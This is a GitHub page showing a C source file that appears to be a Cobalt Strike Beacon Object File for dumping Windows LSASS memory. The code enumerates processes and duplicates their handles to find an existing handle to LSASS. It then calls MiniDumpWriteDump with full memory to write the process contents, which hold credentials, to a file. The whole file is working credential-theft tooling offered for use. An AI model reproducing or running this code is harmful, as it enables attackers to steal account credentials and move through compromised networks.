-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathforeign_lsass.c
227 lines (197 loc) · 7.39 KB
/
foreign_lsass.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
#include <windows.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#include <intrin.h>
#include "beacon.h"
#define ProcessHandleInformation ((PROCESSINFOCLASS)0x33)
#define MAX_PID_LIST_LEN 1024
#define BEACON_DBGPRINT(x) BeaconPrintf(CALLBACK_OUTPUT, "BEACON: %s\n", x)
/*
Functions:
GetProcessHeap
HeapAlloc
HeapFree
GetCurrentProcess
GetProcessId
OpenProcess
NtQueryInformationProcess
DuplicateHandle
CreateFile
CreateToolhelp32Snapshot
Process32First
MiniDumpWriteDump
CloseHandle
*/
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap();
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError();
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle(HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32First(HANDLE, LPPROCESSENTRY32);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32Next(HANDLE, LPPROCESSENTRY32);
DECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$NtQueryInformationProcess(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
DECLSPEC_IMPORT BOOL WINAPI DBGHELP$MiniDumpWriteDump(HANDLE, DWORD, HANDLE, MINIDUMP_TYPE, LPVOID, LPVOID, LPVOID);
typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
{
HANDLE HandleValue;
ULONG_PTR HandleCount;
ULONG_PTR PointerCount;
ULONG GrantedAccess;
ULONG ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, *PPROCESS_HANDLE_TABLE_ENTRY_INFO;
// private
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, *PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
BOOL doDump(int lsassPid, char *dumpFile);
void go(char *data, int len)
{
datap parser;
int lsassPid;
int strLen;
char *dumpFile;
BeaconDataParse(&parser, data, len);
lsassPid = BeaconDataInt(&parser);
dumpFile = BeaconDataExtract(&parser, &strLen);
if (!lsassPid || !strLen)
{
return;
}
if(doDump(lsassPid, dumpFile)){
BEACON_DBGPRINT("success");
} else {
BEACON_DBGPRINT("fail");
}
}
BOOL doDump(int lsassPid, char *dumpFile)
{
if (!BeaconIsAdmin())
{
BEACON_DBGPRINT("not admin...");
return FALSE;
}
NTSTATUS ntstatus;
DWORD *lpdwPidList = NULL;
DWORD dwSelfPid;
DWORD dwLastError = 0;
HANDLE hCurrentProcess;
HANDLE hToken;
HANDLE hOutFile;
HANDLE hForeignProcess;
HANDLE hSnapshot;
HANDLE hHeap;
HANDLE hTargetHandle;
BOOL status;
int idx = 0;
PROCESSENTRY32 procEntry = {0};
procEntry.dwSize = sizeof(PROCESSENTRY32);
PPROCESS_HANDLE_SNAPSHOT_INFORMATION lpProcHandleSnapInfo;
hCurrentProcess = KERNEL32$GetCurrentProcess();
hSnapshot = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
hHeap = KERNEL32$GetProcessHeap();
dwSelfPid = KERNEL32$GetProcessId(hCurrentProcess);
lpdwPidList = KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, MAX_PID_LIST_LEN * sizeof(DWORD));
if (!lpdwPidList)
{
return FALSE;
}
// get a list of all PIDs
status = KERNEL32$Process32First(hSnapshot, &procEntry);
if (!status)
{
return FALSE;
}
while (status && idx < MAX_PID_LIST_LEN) // I'm lazy, todo: not like this
{
if (procEntry.th32ProcessID == lsassPid || procEntry.th32ProcessID == dwSelfPid)
{
status = KERNEL32$Process32Next(hSnapshot, &procEntry);
continue;
}
lpdwPidList[idx] = procEntry.th32ProcessID;
status = KERNEL32$Process32Next(hSnapshot, &procEntry);
idx++;
}
// Now that we have a list of all of the PIDs,
// iterate over all of them, see if they have handles to LSASS
for (int i = 0; i < idx; i++)
{
hForeignProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE, FALSE, lpdwPidList[i]);
if (hForeignProcess == NULL)
{
continue;
}
unsigned long returnLen = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION);
// allocate
lpProcHandleSnapInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, returnLen);
if (!lpProcHandleSnapInfo)
{
return FALSE;
}
// make the first call to get the buffer size
ntstatus = NTDLL$NtQueryInformationProcess(hForeignProcess, ProcessHandleInformation, lpProcHandleSnapInfo, returnLen, &returnLen);
if (!NT_SUCCESS(ntstatus))
{
KERNEL32$HeapFree(hHeap, 0, lpProcHandleSnapInfo);
// allocate with the new buffer size
lpProcHandleSnapInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO_MEMORY, returnLen);
if (!lpProcHandleSnapInfo)
{
return FALSE;
}
}
ntstatus = NTDLL$NtQueryInformationProcess(hForeignProcess, ProcessHandleInformation, lpProcHandleSnapInfo, returnLen, &returnLen);
if (!NT_SUCCESS(ntstatus))
{
KERNEL32$HeapFree(hHeap, 0, lpProcHandleSnapInfo);
KERNEL32$CloseHandle(hForeignProcess);
continue;
}
for (int j = 0; j < lpProcHandleSnapInfo->NumberOfHandles; j++)
{
HANDLE hForeignValue = lpProcHandleSnapInfo->Handles[j].HandleValue;
if (!KERNEL32$DuplicateHandle(hForeignProcess, hForeignValue, hCurrentProcess, &hTargetHandle, PROCESS_QUERY_INFORMATION, FALSE, DUPLICATE_SAME_ACCESS))
{
continue;
}
DWORD dwTargetPid = KERNEL32$GetProcessId(hTargetHandle);
if(!dwTargetPid){ continue; }
if (dwTargetPid == lsassPid)
{
// we found a process with a handle to LSASS
// create the dump file and do the damn thing
hOutFile = KERNEL32$CreateFileA(dumpFile, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(!hOutFile){
BeaconPrintf(CALLBACK_OUTPUT, "create file failed - %d\n", KERNEL32$GetLastError());
return FALSE;
}
if(!DBGHELP$MiniDumpWriteDump(hTargetHandle, lsassPid, hOutFile, MiniDumpWithFullMemory, NULL, NULL, NULL)){
BeaconPrintf(CALLBACK_OUTPUT, "mdwd failed - %d\n", KERNEL32$GetLastError());
KERNEL32$CloseHandle(hOutFile);
return FALSE;
}
KERNEL32$CloseHandle(hOutFile);
return TRUE;
}
}
KERNEL32$CloseHandle(hForeignProcess);
KERNEL32$HeapFree(hHeap, 0, lpProcHandleSnapInfo);
}
if (lpdwPidList)
{
KERNEL32$HeapFree(hHeap, 0, lpdwPidList);
}
return FALSE;
}